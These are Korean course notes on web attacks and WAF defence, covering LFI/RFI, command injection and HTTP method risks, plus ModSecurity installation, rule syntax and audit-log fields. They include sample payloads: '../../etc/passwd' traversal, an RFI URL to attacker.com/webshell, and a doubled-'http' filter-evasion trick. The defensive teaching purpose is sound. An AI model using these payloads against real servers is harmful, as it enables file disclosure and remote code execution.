[새싹 성동 2기] 보안 관제 실무 (3) - 웹 취약점 공격과 대응 방법 | ModSecurity(WAF Tool) 설치 및 실습
파일참조 공격 (File Inclusion)
: 페이지 내 다른 파일을 참조하는데서 취약점이 발생함
함수: include
- 취약점 구조: 소스코드 내 admin?page=../../../test.html 와 같은 구조를 가지고 있음
- LFI보다 RFI가 더 취약함
LFI (Local File Inclusion)
: 로컬 파일 참고
- admin 페이지가 실행되는 서버의 파일을 참조하는 공격(웹서버)
- ../../../../../../etc/passwd와 같이 입력하여 로컬에 있는 파일 참조
=> ../ : 상위 디렉토리 지정 문자열이 핵심, 인코딩 작업을 수행함 (html, url, 이중url 등)
예시) ?page=include.php
=> /?page=../../../../../../etc/passwd
패스워드 출력
LFI 공격 대응방법
- ../에 대해 인코딩 데이터의 복화가 필요
=> ../ 필터 필요 (WAF에 인코딩 데이터 복호화 기능 지원)
LFI vs 파일다운로드
: LFI는 함수 구조로 기반, 다운로드는 페이지로 동작
LFI
- 파라미터를 통해 파일을 참조하는 방식
파일 다운로드
: 페이지가 다운로드할 파일을 지정하여 호출 하는 방식
http://test.com/download?id=test.doc
=> test.doc 대신에 상대경로(../../../) 입력
- 대응방법은 LFI와 동일 (../ 필터링)
RFI (Remote File Inclusion)
: 원격 파일 참조
- 원격에 있는 페이지를 웹서버로 임포트하여 실행되는 공격
- http://attacker.com/webshell
=> 웹셸이 업로드된 효과
=> hthttptp://:이중 문자열을 입력함으로써 회피
RFI 공격 대응방법
- URL 구조에 http와 같은 프로토콜 입력 필터
웹 취약점 대응 방법
정보노출
- 보안장비 대응: 없는 메서드 필터링
=> 정규표현식을 사용하여, GET이라고 하는 문자열 뒤에 필터링
관리자페이지 노출
- 대응: 서버단에서 접근제어 설정이 우선시 되어야 함
- 보안장비: uri나 url 기반에 관리자 페이지 접근 정규표현식 사용
=> URL: test.com
=> URI: /admin
인증우회
- 서버단에서의 인증 프로세스 체크가 유일
- 보안장비: 대응방법 XXX (대응방법 없는 것이 유일)
파라미터 조작
- 서버단에서 프로세스 체크 설정이 필요
(ex) 일반 게시판에서 글 쓰는 과정에서 프록시를 통해 공지사항 게시판 ID로 변경 시
- 파라미터 조작은 자동화 공격이 많음
=> 보안장비: 비정상행위로 탐지가 가능
=> WAF로는 탐지 불가능
=> IDS/IPS로 탐지 가능
디버깅 정보노출
- 서버단에서의 디버깅 정보 최소화가 유일함
=> 개발자의 역량에 따라 많이 달라짐
세션 재사용
- 서버단에서 일정시간 이후 세션 정보 초기화 설정이 필수!
불필요한 Method 사용
- PUT. DELETE를 통해 페이지 접근 시, 탐지하는 규칙(Rule)이 필요함
(PUT, DELETE - 특히 취약한 METHOD)
- 리액트에서 의도적으로 PUT/DELETE로 구현 시, 취약점이 다수 발생!
=> 이 경우, 룰을 만들면 오탐만 더 늘어남
=> (객관적인) 소명자료가 없으면, 전체 재개발이 필요함
==> 보안 강화 개발 방법: POST 요청에 _method 필드를 포함해 의도적으로 PUT/DELETE 동작을 구현
BruteForce
- 보안장비: 비정상행위 탐지 룰 추가
Command Injection
- uri에 ; | || && 가 들어가는 경우 (단, 정규표현식 사용이 필요)=> ; ls와 같이 공백이 들어갈 수 있기 떄문
대응 규칙 Rule을 만들 때, 주의할 점
1) 정규표현식 사용여부 체크
=> GET1, GET2, GET99와 같이 입력이 될 수 있는 것들
2) Rule에 탐지 되었을 때, 어떤 공격에 의해 탐지 되었는지에 대해 명확히 구분할 것
- Rule에 의해 탐지되면 로그가 남으며, log기반으로 공격 횟수 카운팅이 가능
ModSecurity - WAF
ModSecurity 설치 & 룰 설정 명령어
apt update
apt install libapache2-mod-security2 -y // 모드시큐리티 설치(WAF)
// apache2 서버 재시작, 오류 발생 시, pentestlab 도커 stop
systemctl restart apache2
// 설치한 패키지 확인
apt-cache show libapache2-mod-security2
//설정 파일 복사
cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
// 기본으로 설정파일이 허용되어 있지 않음
// 설정파일 설정, 7번 라인의 SecRuleEngine DetectionOnly => SecRuleEngine On로 변경
mousepad /etc/modsecurity/modsecurity.conf
// apache2 서버 재시작
systemctl restart apache2
// 사용자 룰 파일 정의 => 리눅스 디렉토리 이동
cd /etc/apache2
cd sites-available
ls // default 파일 발견
mousepad 000-defualt.conf // SecRuleEngine On 마지막줄 변경
SecRule ARGS:testparam "@contains test" "id:9999,deny,status:403,msg:'TEST'" // 룰 삽입
systemctl restart apache2 // 서비스 재 시작 (룰 적용을 위해)
// 사용자 Rule test, 루트 권한 /Desktop에서 입력
// 잘 연결 되었으면, Apache2 Debian Default Page: It works 뜸
curl -v -X GET http://127.0.0.1/?testparam=1
// 403 Forbidden 떠야 정상
curl -v -X GET http://127.0.0.1/?testparam=test
// 로그 기록 확인
cd /var/log/apache2
cat modsec_audit.log
cd /usr/share/modsecurity-crs // 기존 룰 확인
ls
cd /etc/apache2/mods-enabled
ls
security2.conf //이본 룰 임포트 설정
// 12번째 라인에, OWASP Rule 경로가 명시됨 (Debian계열, RedHat 계열에 따라 다름)
mousepad security2.conf
modsecurity-crs: 기본적인 Rule
[ Rule 구조 ]
1) 지시자
2) 탐색영역
- REQUEST "요청"
: 클라이언트가 서버로 보내는 데이터
- RESPOND "응답"
: 서버가 클라이언트로 보내는 데이터
3) 탐지할 데이터
^application/json
=> ^ : 시작할 문자열 지정 (application/json 문자열로 시작해야함)
4) log에 기록할 메세지 필드
- id: rule 고유 식별번호
- phase: 탐지할 영역
phase1 = request, header
phase2 = request, header, body
phase3 = phase2 + respond header
phase4 = phase2 + respond header, body
- t:lowercase: 대소문자 구분 X
- pass: 통과
- nolog: 로그 기록 X
mousepad /etc/modsecurity/modsecurity.conf 기본 설정파일 설정
- SecRuleEngine DetectionOnly(line 7) => SecRuleEngine On
- SecRule REQUEST_HEADERS:Content-Type "^application/json" \
"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON"
1) 지시자: SecRule
2) 탐색영역: REQUEST_HEADERS
3) 탐지할 데이터: application/json
4) log에 기록할 메세지 필드: id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON
[ 사용자 룰 파일 정의 ]
SecRule ARGS:testparam "@contains test" "id:9999,deny,status:403,msg:'TEST'"
1) 전역변수 - ARGS
2) 파라미터 인자값 - @contains
3) log에 기록할 메세지명
- deny, status, msg: deny(거부), status(403 출력), msg
=> http://test.com/?testparam=test가 입력되면 403을 출력
=> curl -v -X GET http://127.0.0.1/?testparam=1 입력시, "Apache2 Debian Default Page: It works" 출력
/var/log/apache2
로그 기록 확인
[ 로그 분석 ]
- 로그는 각각의 필드가 존재함
- A~Z까지 필드가 존재하며, 기록되는 로그별로 고유 값을 가짐
- 고유값을 통해 A~Z가 한 셋트의 로그
e8669630 --A > 접속 정보가 존재, 시간정보, 접속주체(클라이언트)
e8669630 --B > 클라이언트 헤더 정보 (REQUEST Header)
e8669630 --F> RESPOND Header 정보
e8669630 --E > RESPOND BODY 정보
e8669630 -- H > 탐지된 룰, 영역 기록
e8669630 -- H > 로그의 끝
reference
온프레미스와 클라우드 환경의 보안 관제 실무 - 이별 강사님